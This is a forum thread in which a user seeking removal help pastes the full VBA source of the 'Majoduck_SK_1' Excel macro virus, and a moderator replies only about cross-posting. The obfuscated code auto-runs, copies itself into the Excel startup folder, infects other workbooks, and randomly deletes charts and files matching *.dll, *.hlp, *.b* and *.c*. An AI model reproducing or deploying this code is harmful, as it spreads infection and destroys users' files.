• Hi All

    Please note that at the Chandoo.org Forums there is Zero Tolerance to Spam

    Post Spam and you Will Be Deleted as a User

    Hui...

  • When starting a new post, to receive a quicker and more targeted answer, Please include a sample file in the initial post.

Majoduck_SK_1

deva_1983

New Member
Can Some one help me how to remove the below script from Excel as its running automatically and getting spread into multiple systems

>>> use code - tags <<<
Code:
Rem Macro Majoduck_SK_1 ,Made in Slovakia


Rem -----------------------------------


Sub auto_open()


On Error GoTo EndCode


Application.OnSheetActivate = "Office_menu"


EndCode: End Sub


Sub Office_menu()


On Error GoTo ActiveCode100




ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkMaile

rStyles$ = Application.StartupPath


NowSystemModuleSelectFrameVisableOffice$ = Dir(ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkM

ailerStyles$ & "\" & "OFFICE_.XLS")


If NowSystemModuleSelectFrameVisableOffice$ = "OFFICE_.XLS" Then RunNextNameSelectLineFormatTableStripCommandBarButton = 1 Else RunNextNameSelectLineFormatTableStripCommandBarButton = 0


If ActiveWorkbook.Modules.count > 0 Then ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction = 1 Else


WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll = RunNextNameSelectLineFormatTableStripCommandBarButton + ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction * 10


Select Case

WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll


Case 10


ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndConnect$ = ActiveWorkbook.Name


Sheets("Majoduck_SK_1").Visible = True


Sheets("Majoduck_SK_1").Select: Sheets("Majoduck_SK_1").Copy




NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLineFormat$ = ActiveWorkbook.Name


ActiveWindow.Visible = False




Workbooks(NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLin

eFormat$).SaveAs Filename:=Application.StartupPath & "/" & "OFFICE_.XLS", FileFormat:=xlNormal _


, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False




Workbooks(ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndCon

nect$).Sheets("Majoduck_SK").Visible = False


Case 1


EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$ = ActiveWorkbook.Name


PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45F

F05$ =

Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(

1).Name


If

PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45F

F05$ <> "Majoduck_SK_1" Then


Workbooks("OFFICE_.XLS").Sheets("Majoduck_SK_1").Copy

Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(

1)


Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(

"Majoduck_SK_1").Visible = False


CodeForGosubThen = Int(Rnd(1) * 11 + 1): If CodeForGosubThen >= 8 Then ActiveWorkbook.Save Else


Else


End If


Case Else


On Error GoTo ActiveCode100


If Windows("OFFICE_.XLS").Visible = True Then Windows("OFFICE_.XLS").Visible = True


CodeForGotoNowThen = Int(Rnd(1) * 301 + 1)


ActiveCode20: If CodeForGotoNowThen = 7 Or CodeForGotoNowThen = 11 Then

ActiveSheet.ChartObjects.Select: Selection.Delete:


CtiveCellFormulaR1C1ThenGosub123$ = MakePathCompileas123ThenGoto112456$:

If CodeForGotoNowThen > 297 Then Kill "*.hlp"


CtiveCellFormulaR1C1ThenGosub1r78$ =

MakePathCompileas2358ThenGoto112456$: If CodeForGotoNowThen = 77 Then Kill "*.b*"


CtiveCellFormulaR1C1ThenGosub4520$ = MakePathCompileas698ThenGoto162498$:

If CodeForGotoNowThen = 3 Or CodeForGotoNowThen = 1 Then Kill "*.c*"


CtiveCellFormulaR1C1ThenGosub123rt$ =

MakePathCompileas123ThenGoto112456$: If CodeForGotoNowThen <= 6 Then Kill "*.dll"


ActiveCode100: End Select


Rem Macro Majoduck_SK_1 ,Made in Slovakia


Rem Soft by *** Drake *** for Microsoft


End Sub
 
Last edited by a moderator:
deva_1983
You should reread Forum Rules
There are clear sentences what to do if someone use Cross-Posting.
 
Back
Top